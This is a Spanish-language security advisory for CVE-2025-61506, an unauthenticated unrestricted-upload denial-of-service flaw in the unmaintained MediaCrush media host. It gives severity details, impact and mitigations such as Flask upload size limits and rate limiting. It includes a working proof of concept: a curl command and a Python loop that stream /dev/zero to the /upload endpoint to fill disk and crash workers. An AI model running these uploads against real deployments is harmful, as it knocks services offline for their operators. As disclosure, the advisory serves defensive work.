
Vulnerabilidad de denegación de servicio (DoS) por carga de archivos sin restricciones descubierta en MediaCrush hasta la versión 1.0.1 (CVE-2025-61506)
Se descubrió un problema en MediaCrush hasta la versión 1.0.1 que permite a atacantes remotos no autenticados cargar archivos arbitrarios de cualquier tamaño en el endpoint /upload. Vulnerabilidad: Carga de archivos sin restricciones (CWE-434) CVE ID: CVE-2025-61506 DESCUBRIDO : 18 de septiembre ASIGNADO : 9 de octubre Componente afectado: mediacrush/upload.py, app.py (endpoint de carga de Flask) Versiones afectadas: Todas las versiones (último commit 8f4b2a3f, alrededor de 2014) Impacto: Denegación de servicio (DoS) Severity: CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
El endpoint /upload de MediaCrush (mediacrush/upload.py) permite a atacantes no autenticados cargar archivos arbitrariamente grandes sin límites de tamaño, validación de tipo MIME ni limitación de velocidad. Esto provoca una denegación de servicio al agotar el almacenamiento en disco (por defecto ./storage), sobrecargar los trabajadores de Redis y Celery, y hacer que la aplicación se bloquee. La vulnerabilidad afecta a todas las instancias de MediaCrush (locales o desplegadas en red) debido a la falta de validación de entrada en el manejador de carga basado en Flask. Dado que el proyecto no tiene mantenimiento (última actualización en 2014), no existe una solución.
Configure una instancia local de MediaCrush (según README: Python 2.7, Flask 0.10.1, Redis, Celery).
Ejecute la aplicación (python app.py) y el trabajador de Celery (celery worker -A mediacrush -Q celery,priority).
Ejecute lo siguiente para cargar un archivo grande:
curl -F "file=@/dev/zero" http://localhost:5000/upload
O use un script de Python para múltiples cargas:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
Resultado: El almacenamiento en disco (p. ej., /tmp/storage) se llena, los trabajadores de Celery fallan debido a OOM, y las nuevas cargas fallan (HTTP 500/413). El uso de memoria de Redis se dispara.
Denegación de servicio: llena el disco, bloquea la aplicación, impide nuevas cargas o servir medios.
Abuso de almacenamiento: Los atacantes pueden usar MediaCrush como almacenamiento ilimitado gratuito para archivos maliciosos (p. ej., contenido pirateado).
Costo en la nube: si storage_folder está respaldado por la nube (p. ej., AWS S3), incurre en facturación significativa.
Afecta a cualquier implementación autoalojada de MediaCrush hasta la versión 1.0.1.
Haga cumplir los límites de tamaño de carga del lado del servidor usando la configuración MAX_CONTENT_LENGTH de Flask y las directivas client_max_body_size del servidor web (p. ej., nginx). Implemente una validación de archivos adecuada y limitación de velocidad para evitar el agotamiento de recursos.
Como el proyecto no tiene mantenimiento, los usuarios deben bifurcar y parchear o evitar su implementación.
MediaCrush Repository: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
Descubierto durante una auditoría de bug bounty de proyectos de código abierto.
No se encontraron CVEs anteriores para MediaCrush (buscados en NVD, avisos de GitHub).
Proyecto sin mantenimiento; no se espera respuesta del proveedor ([email protected], IRC #mediacrush inactivo).